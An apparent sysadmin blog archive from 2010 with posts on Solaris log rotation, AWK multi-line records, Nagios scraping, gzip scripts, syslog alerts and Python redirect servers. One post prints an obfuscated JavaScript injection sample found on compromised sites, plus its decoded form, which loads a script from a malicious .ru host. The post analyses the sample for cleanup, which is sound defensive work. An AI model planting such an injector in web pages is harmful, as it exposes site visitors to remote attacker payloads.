2010 Oct 21 20:02:27 pid=2160 ppid=29587 execname=gzip args=/opt/chihung/log/ChanFixedexpenseLog211010.log
2010 Oct 21 20:02:47 pid=2290 ppid=29587 execname=gzip args=/opt/chihung/log/aclist.txt.20101021084119
2010 Oct 21 20:02:47 pid=2294 ppid=29587 execname=gzip args=/opt/chihung/log/Chan_20101020_error_13360_batch
2010 Oct 21 20:02:47 pid=2296 ppid=2295 execname=rm args=/opt/chihung/log/ChanControlServicesLog211010.log.gz
2010 Oct 21 20:02:47 pid=2297 ppid=2295 execname=rm args=/opt/chihung/log/ChanFixedexpenseLog211010.log.gz
2010 Oct 21 20:02:47 pid=2299 ppid=2295 execname=rm args=/opt/chihung/log/ChanUserLog211010.log.gz
2010 Oct 21 20:02:47 pid=2300 ppid=2295 execname=rm args=/opt/chihung/log/aclist.txt.20101021084119.gz
2010 Oct 21 20:02:47 pid=2301 ppid=2295 execname=rm args=/opt/chihung/log/Chan003_20101020_error_13359_adhoc.gz
2010 Oct 21 20:02:47 pid=2303 ppid=2295 execname=rm args=/opt/chihung/log/ChanBusinessServicesLog211010.log.gz
2010 Oct 21 20:02:47 pid=2304 ppid=2295 execname=rm args=/opt/chihung/log/ChanDepositLog211010.log.gz
2010 Oct 21 20:02:47 pid=2305 ppid=2295 execname=rm args=/opt/chihung/log/ChanNdfLog211010.log.gz
2010 Oct 21 20:02:47 pid=2307 ppid=2295 execname=rm args=/opt/chihung/log/Err-S001_20101020_error_13358_adhoc.gz

At 20:00 daily, gzip is compressing a couple of log files and that followed by rm on the gzipped files. That's wierd. Why would someone want to compress log files and remove it after that. When the application rotate log file daily, it is unable to locate the original log file handler to release the memory. Therefore, the number of zero link files increases and hence more used memory. By cross examining the scheduled jobs at 20:00, I found the following script

#!/bin/ksh -x

APPDIR=/opt/$1/log
if [[ -d $APPDIR ]]; then
        find $APPDIR \( -name "*.out" -o -name "*.gz" \) -prune -o -type f -mtime -1 -exec gzip {} \;
        find $APPDIR -name "*.gz" -mtime -1 -exec rm -f {} \;
        exit 0
fi

If you look at the man page for find(1), -mtime -1 means modified time less than 1 day! Shouldn't it be -mtime +1 - modified time older than 1 day.

Key-Value Pair in Multi-line Records

2010-10-16T17:12:00.001+08:00

If you have to deal with multi-line records, AWK is definitely your friend. Sometimes the records come in the form of first record is the key and the next record is the value. To make matter worse, the value record can be optional, ie it may not exist at all.

For example, the following sample data set have the above characteristics. What we need is a script to list down the values for a particular pool name. The first 3 lines are headers which can we going to ignore.

$ cat testdata.txt
media media robot robot robot side/ ret    size status
 ID type type   # slot face level  KBytes
----------------------------------------------------------------------------
One pool

A00001 HCART    TLD   0   26  -  10     101568 AVAILABLE

Two pool

B00001 HCART    NONE   -   -  -  -     - AVAILABLE
B00002 HCART    NONE   -   -  -  -     - AVAILABLE

Three pool

C00001 HCART    NONE   -   -  -  -     - AVAILABLE
C00002 HCART    NONE   -   -  -  -     - AVAILABLE
C00003 HCART    NONE   -   -  -  -     - AVAILABLE

Zero pool

Four pool

D00001 HCART2   NONE   -   -  -  -     - AVAILABLE
D00002 HCART3   NONE   -   -  -  -     - AVAILABLE
D00003 HCART3   NONE   -   -  -  -     - AVAILABLE
D00004 HCART3   NONE   -   -  -  -     - AVAILABLE

By changing the default AWK FS (field separator) and RS (record separator) to be newline and blank line repsectively, we are able to handle the above multi-line records. In order to accommodate zero 'value' in a record, we need to put in the logical in the AWK code.

$ cat pool.sh
#! /bin/sh

PATH=/usr/bin:/bin:/usr/sbin:/usr/local/bin
LD_LIBRARY_PATH=/usr/lib:/lib:/usr/local/lib


if [ $# -ne 2 ]; then
 echo "Usage: $0  \n"
 exit 1
fi
txtfile=$1
pool=$2
if [ ! -f $txtfile ]; then
 echo "Error. $txtfile does not exist\n"
 exit 2
fi


sed -n '4,$p' $txtfile | awk -v pool="$pool" '
BEGIN {
 FS="\n"
 RS=""
 poolname=sprintf("%s pool", pool)
}
$1 == poolname {
 start=1
 next
}
start==1 && $0 ~ /pool/ {
 exit
}
start==1 {
 for (i=1;i<=NF;++i ) {
         print $i
 }
 exit
}'

See script in action.

$ ./pool.sh testdata.txt One
A00001 HCART    TLD   0   26  -  10     101568 AVAILABLE

$ ./pool.sh testdata.txt Two
B00001 HCART    NONE   -   -  -  -     - AVAILABLE
B00002 HCART    NONE   -   -  -  -     - AVAILABLE

$ ./pool.sh testdata.txt Three
C00001 HCART    NONE   -   -  -  -     - AVAILABLE
C00002 HCART    NONE   -   -  -  -     - AVAILABLE
C00003 HCART    NONE   -   -  -  -     - AVAILABLE

$ ./pool.sh testdata.txt Four
D00001 HCART2   NONE   -   -  -  -     - AVAILABLE
D00002 HCART3   NONE   -   -  -  -     - AVAILABLE
D00003 HCART3   NONE   -   -  -  -     - AVAILABLE
D00004 HCART3   NONE   -   -  -  -     - AVAILABLE

$ ./pool.sh testdata.txt Unknown

$ ./pool.sh testdata.txt Zero

$

So what is the big deal ? This is the kind of output you will get from NetBackup /usr/openv/netbackup/bin/goodies/available_media. With this script, you can handle the available_media output with ease.

Data Visualization

2010-10-09T22:51:00.002+08:00

Stumbled upon this article - Videos and visualization - Data viz for journalism, student career paths, multi-dimensional data, and the future.. It featured this video

Journalism in the Age of Data from Geoff McGhee on Vimeo.

With the exponential increase in data, data visualization will be the next wave. The big names are working on this area: IBM is working on Many Eyes and Google is on Public Data Explorer

Web Scraping Nagios

2010-09-15T23:37:00.004+08:00

I have not been web scape for quite a while. Recently I need to rearrange and summarise Nagios data so as to present the monitoring info into some form of management dashboard.

With Tcl and it's tdom extension, I am able to web scrape with ease. However, one of the challenges is that I need to summarise all the disk partitions utilisation criticality as a single service. My initial XPath is to go through all 26 partitions (Disks A to Z)

$branch selectNodes {td/a[@class='statusCRITICAL'][
    text()='WINDISK-A' or text()='WINDISK-B' or text()='WINDISK-C' or
    text()='WINDISK-D' or text()='WINDISK-E' or text()='WINDISK-F' or
    text()='WINDISK-G' or text()='WINDISK-H' or text()='WINDISK-I' or
    text()='WINDISK-J' or text()='WINDISK-K' or text()='WINDISK-L' or
    text()='WINDISK-M' or text()='WINDISK-N' or text()='WINDISK-O' or
    text()='WINDISK-P' or text()='WINDISK-Q' or text()='WINDISK-R' or
    text()='WINDISK-S' or text()='WINDISK-T' or text()='WINDISK-U' or
    text()='WINDISK-V' or text()='WINDISK-W' or text()='WINDISK-X' or
    text()='WINDISK-Y' or text()='WINDISK-Z'
]}

If you read the XPath specification, you will find the starts-with() function can be used in this scenario. With a single function, I can avoid all the above messy syntax.

$branch selectNodes {td/a[@class='statusCRITICAL'][starts-with(.,'WINDISK-')]}

What's New in SQLite3

2010-09-09T20:46:00.004+08:00

The latest version of SQLite is 3.7.2. Prior to 3.7, SQLite uses atomic commit and rollback. From 3.7.0 onwards, the default method is write-ahead logging.

A recent article from O'Reilly talked about the latest features in 3.7. Also a new book - Using SQLite is already out in the local bookstore.

If you are i-whatever (iPhone, iPad, ...) user, you are already a SQLite user. See this 94 page PDF presentation, The World's Most Popular TCL Extension, presented by the author in last year Tcl 2009 conference to find out more

Whether you are a web developer, system programmer or administrator, SQLite is definitely a tool that you should learn and know about.

Z to gz On The Fly

2010-08-27T16:46:00.001+08:00

If you have a lot of compress files (*.Z) and you want to convert them to gzip format to space disk space, here is the function that you can use. The function, Z2gz, make use of standard input and standard output to dynamically uncompress and gzip on the fly to avoiding any intermediate file to be created. Also, it will set the permission, ownership and timestamp to be the same as the original file.

Z2gz()
{
for Z in *.Z
do
    gz="${Z%.Z}.gz"
    uncompress < $Z | gzip > $gz
    touch -r $Z $gz
    getfacl $Z | setfacl -f - $gz
    rm -f $Z
done
}

Z2gz in action. In this exercise, we saved 11,970,771 bytes

$ ls -l *.Z
-rw-------   1 chihung   chihung     5278987 Feb  2  2009 apache.tar.Z
-rw-r-----   1 chihung   chihung     1479993 Aug 27 09:29 freetype-2.3.1-sol10-sparc-local.Z
-rw-r-----   1 chihung   chihung     25318755 Feb  2  2009 ganglia.tar.Z
-rw-r-----   1 chihung   chihung      797471 Aug 27 09:29 libgcc-3.4.6-sol10-sparc-local.Z
-rw-r--r--   1 chihung   chihung     4039745 Feb 19  2009 mediawiki-1.6.12.tar.Z

$ Z2gz

$ ls -l *.gz
-rw-------   1 chihung   chihung     3641373 Feb  2  2009 apache.tar.gz
-rw-r-----   1 chihung   chihung     1019829 Aug 27 09:29 freetype-2.3.1-sol10-sparc-local.gz
-rw-r-----   1 chihung   chihung     16940517 Feb  2  2009 ganglia.tar.gz
-rw-r-----   1 chihung   chihung      527891 Aug 27 09:29 libgcc-3.4.6-sol10-sparc-local.gz
-rw-r--r--   1 chihung   chihung     2814570 Feb 19  2009 mediawiki-1.6.12.tar.gz

Bandwidth Throttling

2010-08-14T16:25:00.006+08:00

One of the users wanted to transfer a big file (300GB) from a Unix server to an external USB HDD. To make matter worse, the UNIX server is located across the WAN and the customer's management mentioned that no one is allow to transfer file bigger than 1GB. What the management implies is that do not jam up the WAN link with big file(s) transfer.

Guess what, people literally interpreted the statement AS IS. The 300GB file is split into small chucks, just slightly smaller than the 1GB limit, and have them merge back in the destination end. Although it does not violate the management rule, there is no different in terms of bandwidth utilisation. If the user is smart (or dumb), he/she can initiate multiple downloads to accelerate the transfer and this will definitely choke up the WAN link.

Do you know that there are many ways to do bandwdith throttling:

Client end
- curl with --limit-rate speed
- wget with --limit-rate=amount
- NET::FTP::Throttle perl module
- and many more
Server end
- lighttpd with connection.kbytes-per-second setting in the configurtion file. See traffic shaping for more details
- mod_bw module in Apache
- and many more

With bandwidth throttling, network utilisation can be controlled. Also, it can avoid splitting/merging of small files and having temporarily storage to house these small files.

Things to take note. Some of the older file systems and utilities can only handle file smaller than 4GB. See the comparison of all the other file systems

Failsafe gzip

2010-08-01T11:00:00.002+08:00

If you try to gzip file that is currently opened by other process, your program will lose the handler and therefore will not be able to read/write to it. You can verify that the i-node (ls -li) is different after gzip.

In Solaris, you can use fuser to check what processes are currently holding on to the file.

Below script is a fail-safe version to gzip file that has no process holding on to the file.

#! /bin/ksh
#
# gzip those files that no process is holding on to it
#


PATH=/usr/bin:/bin:/usr/sbin


usage()
{
        echo "Usage: $0 -n <name> [-d <dir>] [-b] [-e] [-[1-9]]"
        echo "       -n <name>: part of the file name"
        echo "       -d <dir> : directory to search, default to current"
        echo "       -b       : begins with the <name>"
        echo "       -e       : ends with the <name>"
        echo "       -1 .. -9 : gzip compression flag, default to -6"
}


set -- `getopt n:d:be123456789 $*`
if [ $? != 0 ]; then
        usage
        exit 1
fi


finddir="."
gzip="-6"
for i in $*
do
        case $i in
        -n)
                name=$2
                findname="*${name}*"
                shift 2
                ;;
        -d)
                finddir=$2
                shift 2
                ;;
        -b)
                findname="${name}*"
                shift
                ;;
        -e)
                findname="*${name}"
                shift
                ;;
        -[1-9])
                gzip="$i"
                shift
                ;;
        esac
done


#
# checking
#
if [ -z $findname ]; then
        usage
        exit 2
fi
if [ ! -d $finddir ]; then
        echo "Error. $finddir does not exist"
        exit 3
fi


find $finddir -name "$findname" -type f 2>/dev/null | while read f
do
        pids=`fuser -u $f 2>/dev/null`
        if [ -z $pids ]; then
                echo "Running $gzip $f ... \c"
                gzip $gzip "$f"
                echo OK
        fi
done

Bryan Cantrill is with Joyent

2010-07-31T23:15:00.002+08:00

Joyent has announced Bryan Cantrill as VP of engineering.

Bryan talked about why he joined Joyent.

Filenames With Spaces

2010-07-29T23:26:00.003+08:00

Filename with space may be okay in Windows environment, but not for UNIX. Recently I encountered a lot of partial backup due to filenames ended with space(s). You will be surprised to see the kind of files the user created or transferred from Windows to UNIX and I blogged about it a year ago.

To be able to evenly split the backup streams into roughly equal amount of size, my script uses find /some/dir -mount -type f -ls to generate the file list. The output will then be piped to a while loop to sum up the file size. However, shell will auto-collapse white space into a single space if you do not quote the variable. Although quoting variable is able to preserve white spaces, it will not be able to tackle filename ends with space

By applying padding (I used "==" in my below test case) to the end of the filename, I am able to preserve the original filename. Simply truncate the padding before writing to file list will resolve all these white space issue.

BTW, my environment is running Solaris.

$ touch 'a' 'b' 'c' ' start1space' '  start2space' '   start3space' \
        'mid 1space' 'mid  2space' 'mid   3space' \
        'end1space ' 'end2space  ' 'end3space   '

$ find . -type f -ls | while read x x x x x x x x x x filename
do
  echo --$filename--
done                               
--./a--
--./b--
--./c--
--./ start1space--
--./ start2space--
--./ start3space--
--./mid 1space--
--./mid 2space--
--./mid 3space--
--./end1space--
--./end2space--
--./end3space--

$ find . -type f -ls | while read x x x x x x x x x x filename
do
  echo "--$filename--"
done                             
--./a--
--./b--
--./c--
--./ start1space--
--./  start2space--
--./   start3space--
--./mid 1space--
--./mid  2space--
--./mid   3space--
--./end1space--
--./end2space--
--./end3space--

$ find . -type f -ls | sed 's/$/==/' | while read x x x x x x x x x x filename
do
  echo "--${filename%==}--"
done
--./a--
--./b--
--./c--
--./ start1space--
--./  start2space--
--./   start3space--
--./mid 1space--
--./mid  2space--
--./mid   3space--
--./end1space --
--./end2space  --
--./end3space   --

Sun Set. That's Sad

2010-07-26T20:48:00.003+08:00

With the departure of James Gosling (father of Java) in April this year, Bryan Cantrill (father of DTrace) announced his departure in his blog. It is sad to see so many good people leaving Sun. That keep me thinking what Solaris will be in the future. Sad!

Too Much Money is Worse than Too Little

2010-07-24T13:56:00.002+08:00

I just read Guy Kawasaki's recent article - Why Too Much Money is Worse than Too Little and I totally agreed with all his points.

So next time when you say "Money is not a problem", think again.

The surprising truth about what motivates us

2010-07-23T08:02:00.005+08:00

Found this video from this site.

Wanna find out more videos, click here and Congnitive Media. (Just found out that they did a visual presentation for Arup, that's my ex-company - Ove Arup, where I started my first IT job as an Engineering Analyst developing civil/structural engineering software. That was 1989, 21 years ago)

As you can see, visual presentation is one damn power tool. See my practise on the back of a napkin. FYI, I just finished reading the "2nd version" of the napkin book - Unfolding the Napkin. Both books are available in our public library

One Million Files in A Directory Under Veritas File System

2010-07-16T21:42:00.007+08:00

Recently my backup ran really really slow with a throughput of 50KBps. With such a low throughput, I was not able to finish it within the backup window. After some investigations, I realised that there is a directory comprises of close to 1 million files. It literally takes minutes to do a "ls -l".

Although file system allows you have that many files, it will be extremely inefficient for other downstream activities.

It will be a challenge to locate the problematic directory if you were to use shell script. Other scripting languages such as Perl will be more appropriate. With find2perl utility that comes with standard perl installation, you can get it to generate equilvant find command in perl

$ find2perl /usr/include -type d
#! /usr/bin/perl -w
    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
        if 0; #$running_under_some_shell

use strict;
use File::Find ();

# Set the variable $File::Find::dont_use_nlink if you're using AFS,
# since AFS cheats.

# for the convenience of &wanted calls, including -eval statements:
use vars qw/*name *dir *prune/;
*name   = *File::Find::name;
*dir    = *File::Find::dir;
*prune  = *File::Find::prune;

sub wanted;



# Traverse desired filesystems
File::Find::find({wanted => \&wanted}, '/usr/include');
exit;


sub wanted {
    my ($dev,$ino,$mode,$nlink,$uid,$gid);

    (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &&
    -d _
    && print("$name\n");
}

With this skeleton code, I am able to modify it to help to locate sub-directory with the most items

#! /usr/bin/perl


use strict;
use File::Find ();
use Cwd 'abs_path';


# Set the variable $File::Find::dont_use_nlink if you're using AFS,
# since AFS cheats.

# for the convenience of &wanted calls, including -eval statements:
use vars qw/*name *dir *prune/;
*name   = *File::Find::name;
*dir    = *File::Find::dir;
*prune  = *File::Find::prune;


my $max = 0;
my $maxpath;


sub wanted;


my $searchdir;
if ( $#ARGV == -1 ) {
        $searchdir=".";
} else {
        $searchdir=$ARGV[0];
}



# Traverse desired filesystems
File::Find::find({wanted => \&wanted}, $searchdir);
print $maxpath, ' ', $max, "\n";
exit;


sub wanted {
        my ($dev,$ino,$mode,$nlink,$uid,$gid);

        my $file;
        my $count=0;
        if ( (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) && -d _ )
{
                opendir(DIR, $_);
                while (defined($file=readdir(DIR))) {
                        ++$count;
                }
                closedir(DIR);
                if ( $count > $max ) {
                        $max = $count;
                        $maxpath = abs_path($_);
                }
        }
}

If I run on my Ubuntu 10.04 Netbook Edition /usr/share directory, it will tell me /usr/share/foomatic/db/source/printer has 3258 files (include . and ..)

$ ./files-in-directory-max.pl /usr/share
/usr/share/foomatic/db/source/printer 3258

So, what will be the maximum number of files in a directory under vxfs ? I found this using Google:
Recommended maximum number of files in a single Veritas File System (VxFS) directory is 100,000

Exploring The Software Behind Facebook

2010-06-24T00:08:00.002+08:00

Just blogged about Exploring the software behind Facebook, the world’s largest site in my YALL. I think the article is a must-read for those who are interested in scalability.

Here is a summary links of some of the tools used

Memcached, distributed memory caching system
HipHop, convert PHP to C++
Haystack, high performance object store
BigPipe, dynamic web page serving system
Cassandra, distributed storage system with no single point of failure.
Scribe, flexible logging system
Hadoop, open-source map-reduce implementation
Thrift, cross-language framework that ties all of these different languages together
Varnish, HTTP accelerator which can act as a load balancer and also cache content

Sample Critical Syslog

2010-05-28T00:13:00.005+08:00

I implemented a central syslog server for my customer and below is a list of critical syslog output that may cause production impact if we do not deal with it immediately. Auto-SMS alert has been in place to inform the staff if any of these messages appear in the syslog.

Aug 30 12:07:27 uxhost1 lpfc: [ID 728700 kern.warning] WARNING: lpfc1:1305:LKe:Link Down Event x2 received Data: x2 x20 x48
Dec 29 13:33:47 uxhost1 rmclomv: [ID 974757 kern.error] PSU @ PS1 has FAILED.
Jun 17 08:16:11 uxhost2 savecore: [ID 570001 auth.error] reboot after panic: BAD TRAP: type=9 rp=2a1036c9280 addr =0 mmu_fsr=0
Dec 30 07:50:03 uxhost1 picld[104]: [ID 498155 daemon.error] Device PS0 AC UNAVAILABLE
Jun 17 08:16:11 uxhost8 savecore: [ID 748169 auth.error] saving system crash dump in /var/crash/uxhost8/*.0
Jan  2 19:00:34 uxhost3 vxvm:vxconfigd: [ID 594842 daemon.error] V-5-1-8645 Error in claiming /dev/rdsk/c8t16d0s2 by NR list: I/O error
Jul 23 23:08:21 uxhost8 fmd: [ID 441519 daemon.error] SUNW-MSG-ID: SUN4U-8000-XJ, TYPE: Fault, VER: 1, SEVERITY: Major
Apr 16 18:12:36 uxhost5 fmd: [ID 441519 daemon.error] SUNW-MSG-ID: PCIEX-8000-3S, TYPE: Fault, VER: 1, SEVERITY: Critical
Dec  9 06:55:05 uxhost7 @BINDIR@/ssh[10258]: [ID 800047 user.crit] fatal Disconnected: Protocol error (Too many authentication failures for myuser)
Jan  3 11:06:53 uxhost5 sshd2[7473]: [ID 702911 auth.error] auths-pam: PAM subprocess returned packet SSH_PAM_OP_ERROR. (err_num: 9, err_msg: Authent
ication failed).
Dec 17 19:47:48 uxhost2 sshd2[13338]: [ID 702911 auth.error] FATAL ERROR: Forced command `/usr/bin/passwd' exited uncleanly, closing connection.
Dec 19 15:52:24 uxhost8 DESC: A ZFS device failed.  Refer to http://sun.com/msg/ZFS-8000-D3 for more information.
Dec 19 15:52:24 uxhost8 REC-ACTION: Run 'zpool status -x' and replace the bad device.
Jul 28 16:19:21 uxhost1 ufs: [ID 845546 kern.notice] NOTICE: alloc: /app: file system full
Jul 28 16:19:17 uxhost1 ufs: [ID 213553 kern.notice] NOTICE: realloccg /app: file system full
Oct 23 06:30:12 uxhost1 root: [ID 702911 daemon.alert] Hard limit exceeded on all filesystems. (count=1215)
Oct 23 10:28:38 uxhost1 root: [ID 702911 daemon.alert] The audit_warn mail alias is not defined
Feb 16 14:50:39 uxhost8 lw8: [ID 792743 kern.error] /N0/SB2 reported ECC error

Link Count Of Zero

2010-05-27T23:55:00.004+08:00

Met up with some clever guys yesterday and they made me think how Solaris treat deleted files which are still open. We know that if we hard link files in the same file system, it will increment the link count. Do you know that if you delete an open file (with link count of 1), the link count will be become zero (decrement by one). Since the file handler is still open, the kernel will not release those space occupied by the file. So, if you were to do a ls -al, you will see the link count of zero.

To efficiently finding how much space has been taken up by these deleted open files, the below one-liner is able to extract that from find and summaries it by AWK. Here is the output from one of my systems.

# find /proc/*/fd -type f -links 0 -ls | awk '{s+=$7}END{print s}'
159783

This link explained very clearly how the situation come about.

Started A New Blog As Bookmark

2010-05-21T22:38:00.002+08:00

Do visit my new blog at Yet Another Link Link, just a place to keep my links

Papers from Web 2.0 Security and Privacy 2010

2010-05-21T21:43:00.003+08:00

Bruce Schneier posted Detecting Browser History. It also linked to one of the papers.

If you are interested in finding out all the papers in this conference, I blogged about how to use google. Here is the search string
site:w2spconf.com inurl:2010 inurl:papers filetype:pdf

Or this direct link. I found 14 of them.

Enjoy

Malware Attack, Reply Comment

2010-05-21T21:24:00.004+08:00

I refer to the recent comment from my previous malware attack posted 1.5 years ago. Basically the obscure script carried out a lot of substitutions to avoid any firewall filter.

Below is a sample my friend sent me 3 months ago.

/*GNU GPL*/ try{window.onload = function(){var Qq73s8yh02ptue2rq = document.createElement('s&(^c@#r$^i(@)p&@t($&'.replace(/#|\!|\(|&|@|\$|\

^|\)/ig, ''));Qq73s8yh02ptue2rq.setAttribute('type',
'text/javascript');Qq73s8yh02ptue2rq.setAttribute('src',
'h!!t(#(t#)^p(^!(:&$/$$$/$@)&h!^c&3$6^))#^0&-@!&c!o$()m&^&.))g(l^((o)b&$
#e&!)@7#^.!(c)##)o@)m#^.(@$k#(&)i^n$)#o^^@(-#)&$t@@^o)!.!@$^v)&i!@)e^#w&
h$&o&&m)((e#s)$!a@$l^^e).$(r)^&u(:(((!8&^@0!!8)))0^/#!)f#@r!i&&!)e$n&d&f
!$e&#e)$d)^.!c(^o)()^m^/@$f#(^!r#^@&@i(^e&n@(&(d$!f&!#e#!e@@$#@d).^!c#^^
^o^@!!m)($/$b!l#u^^$^e&$@@#h@^o))&!s#@$$t&#.@@@c)^(&o@m()^/$(^v^^$#e#o$#
h)(&.^$@c)(o^$)$m&/#g(!^o^^o!(^g@!&l!^#!^e&.&@c)!o)@&m!/(#!^^'.replace(/
\$|\(|@|\!|\)|#|\^|&/ig, ''));Qq73s8yh02ptue2rq.setAttribute('defer',
'defer');Qq73s8yh02ptue2rq.setAttribute('id',
'U&!^(y&$2(#3^9#^b)$$x^#k#^@9##)5(&t#@'.replace(/&|\!|\)|\^|\(|\$|@|#/ig
, ''));document.body.appendChild(Qq73s8yh02ptue2rq);}} catch(e) {}

After ran through the browser JavaScript interpreter, you will get the below. It will dynamically create a <script> element which will be load up automatically.

/*GNU GPL*/ try{window.onload = function(){
 var Qq73s8yh02ptue2rq = document.createElement('script'));
 Qq73s8yh02ptue2rq.setAttribute('type','text/javascript');
 Qq73s8yh02ptue2rq.setAttribute('src','http://hc360-com.globe7.com.kino-to.viewhomesale.ru:8080/friendfeed.com/friendfeed.com/bluehost.com/veoh.com/google.com/'));
 Qq73s8yh02ptue2rq.setAttribute('defer','defer');
 Qq73s8yh02ptue2rq.setAttribute('id','Uy239bxk95t');
 document.body.appendChild(doc);}
} catch(e) {}

If your html/js appear to have any window.onload which does not belong to your own stuff, you can apply the same trick by running 'sed' to clean it up.

Wanna Learn Python ?

2010-05-06T23:24:00.003+08:00

Found these python class videos. Sure it will start to tickle your interest in learning python. Enjoy !

Google Python Class Day 1

Google Python Class Day 2

Google Code University

2010-05-05T21:15:00.003+08:00

Stumbled upon the Google Code University web site. Topics include

AJAX Programming
Algorithms
Android Programming
Distributed Systems
Web Security
Languages - Python, C++, Go, Java (with videos)
Tools 101
- Introduction to Databases and MySQL
- Software Configuration Management
- Linux
  - Basic Linux Commands
  - Linux Ownership and Permissions
  - ext Processing with Grep
CS Resources
- Discrete Mathematics
- Introductory Programming
- Data Structures and Algorithms
- Operating Systems, Concurrency
- Distributed Systems
- Automata and Formal Languages
- Web Security
- Computer Graphics

This one is also very interesting, Web Application Exploits and Defenses

Splitting CSV

2010-05-04T22:38:00.003+08:00

Today my colleague was asking me whether I can assist to split a csv file with millions of lines into individual csv files based on the user name appeared in column 2.

My initial solution was a two-pass approach using shell script and AWK. First pass to find out all the unique names and second pass to extract the records that matches the unique name. That means I have to parse the original csv files many times and that make the solution very inefficient. I do encounter this type of request every now and then, therefore I decided to come up with a better solution in just 1 parse.

I used Python CSV module before and I believe it will be the right tool.

Here is the python script that will split into separate csv files based on the name in column 2:

$ cat a.py
#! /usr/bin/python


import os, sys, csv, re


if len(sys.argv) != 2:
        sys.stderr.write('Usage: %s csv-file\n' % sys.argv[0] )
        sys.exit(1)
csvfile = sys.argv[1]


if not os.path.exists( csvfile ):
        sys.stderr.write( 'Error: "%s" file does not\n' % csvfile )
        sys.exit(2)


#
# keep track of file handler and csv writer
#
name2fp = dict()
name2writer = dict()


for line in csv.reader(open(csvfile, 'rb')):

        #
        # safe name to avoid problem
        #
        safename = line[1].strip()
        safename = re.sub('[ ]', '_', safename)
        safename = re.sub(os.path.sep, ',', safename)
        safename = re.sub('[^a-zA-Z_.,()-]+', '', safename)

        # create file handler and csv writer if not exist
        if not safename in name2fp:
                outfile = "%s.%s" % (safename, csvfile)
                name2fp[safename] = open( outfile, 'wb' )
                name2writer[safename] = csv.writer( name2fp[safename] )

        name2writer[safename].writerow(line)


for safename in name2fp:
        name2fp[safename].close()

Here is a listing of the corresponding csv files and some command output to verify the task.

$ cat a.csv
gdz-u-01,"Chan Chi Hung",20,43
cld-d-01,"Chan Chi Hung",22,41
gdz-u-02,"Chi Hung",53,30
gdz-u-01,"Chan Chi Hung",20,43
cld-p-01,"Chan Chi Hung",21,42
gri-d-01,"Chi Hung",52,31
gdz-u-02,"Chan Chi Hung",23,40
gdz-u-01,"Chan Chi Hung",20,43
cld-p-01,"Chi Hung",51,32
cld-d-01,"Chi Hung",52,31
gdz-u-02,"Chan Chi Hung",23,40
gdz-u-01,"CH Chan/Chi Hung",90,93
cld-p-01,"Chan Chi Hung",21,42
gri-d-01,"CH Chan",92,91
zld-p-09,"Chan Chi Hung",21,42

$ ./a.py a.csv

$ ls
CH_Chan,Chi_Hung.a.csv  Chan_Chi_Hung.a.csv  a.csv
CH_Chan.a.csv           Chi_Hung.a.csv       a.py

$ wc -l *csv
  1 CH_Chan,Chi_Hung.a.csv
  1 CH_Chan.a.csv
  9 Chan_Chi_Hung.a.csv
  4 Chi_Hung.a.csv
 15 a.csv
 30 total

Solaris Storage in Video

2010-05-03T20:34:00.002+08:00

Solaris Storage in Video covers ZFS, Solaris storage stack and hardware & platform.

HTTP Redirection, Take 2

2010-04-27T23:26:00.003+08:00

Further to the comment posted, here is a revised version for redirection driven by configuration file.

#! /usr/local/bin/python


import sys, os
import BaseHTTPServer


if len(sys.argv) != 2:
    sys.stderr.write("Usage: %s &lgt;config-file>\n" % sys.argv[0])
    sys.exit(1)



#
# config file:
# 1 line 2 fields (port, url)
#
config = sys.argv[1]
if not os.path.exists(config):
    sys.stderr.write("Error. Config file '%s' does not exist" % config)
    sys.exit(2)
else:
    fp = open(config, 'r')
    (port, url) = fp.readline().rstrip().split()



class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    # just redirect regardless of uri
    def do_GET(s):
        s.send_response(302)
        s.send_header('Location', url)
        s.end_headers()

    # ignore output
    def log_message(s, format, *args):
        pass



if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class( ('', int(port)), RedirectHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

Sample content of a typical file to listen at port 1668 to www.google.com:

1668 http://www.google.com/

Tested on my Cygwin

HTTP Redirection

2010-04-21T22:14:00.005+08:00

If you need a self-contained web server to handle redirection, you can try this simply Python code. It simple extends the base BaseHTTPServer class.

#! /usr/bin/python


import sys
import BaseHTTPServer


nerror=0
if len(sys.argv) >= 4:

    try:
        port = int(sys.argv[1])
    except:
        nerror += 1

    args = sys.argv[2:]
    if len(args) % 2 == 0:
        mapping = dict( zip(args[::2], args[1::2]) )
    else:
        nerror += 1
else:
    nerror += 1


if nerror > 0:
    sys.stderr.write(\
        "Usage: %s <port> <uri> <redirect> [<uri> <redirect>]" \
        % \
        sys.argv[0])
    exit(0)



class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(s):
        if s.path in mapping:
            url = mapping[s.path]
            s.send_response(302)
            s.send_header('Location', url)
            s.end_headers()
        else:
            s.send_response(200)
            s.send_header('Content-type', 'text/html')
            s.end_headers()
            s.wfile.write("<html><head><title>List of Redirection</title>")
            s.wfile.write("</head><body><h1>List of Redirection</h1><hr>")
            s.wfile.write("<ul>")
            uris = mapping.keys()
            uris.sort()
            for uri in uris:
                redirect = mapping[uri]
                s.wfile.write("<li><a href=%s>%s -> %s</a>" % (redirect,
uri, redirect))
            s.wfile.write("</ul></body></html>")


    # ignore output
    def log_message(s, format, *args):
        pass



if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class(('', port), MyHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

Launch it like this:

$ ./redirect.py
Usage: ./redirect.py <port> <uri> <redirect> [<uri> <redirect>]

$ ./redirect.py  8080 \
  / http://chihungchan.blogspot.com/ \
  /g http://www.google.com/ \
  /c http://www.cnn.com/ \
  /s http://www.sg/

If you forget what are the short url redirection, simply key in bogus URI

Intel Guide for Developing Multithreaded Applications

2010-04-20T20:59:00.003+08:00

Intel Guide for Developing Multithreaded Applications:

How Deep Is The Directory Structure

2010-04-14T23:24:00.005+08:00

Recently our Netbackup failed due to some very long full-path name, guess what's the max length of the full-path? The length is 1037 character long. Below one-liner can tell you how deep is your directory and the corresponding directory I am running this in my home directory under Cygwin.

$ find /home/user -type d | awk -F"/" '{if(NF>max){max=NF;maxpath=$0}}END{print max-1, maxpath}'
12 /home/user/src/Django-1.1.1/build/lib/django/contrib/gis/db/backend/mysql

File Uploading, 100% Python

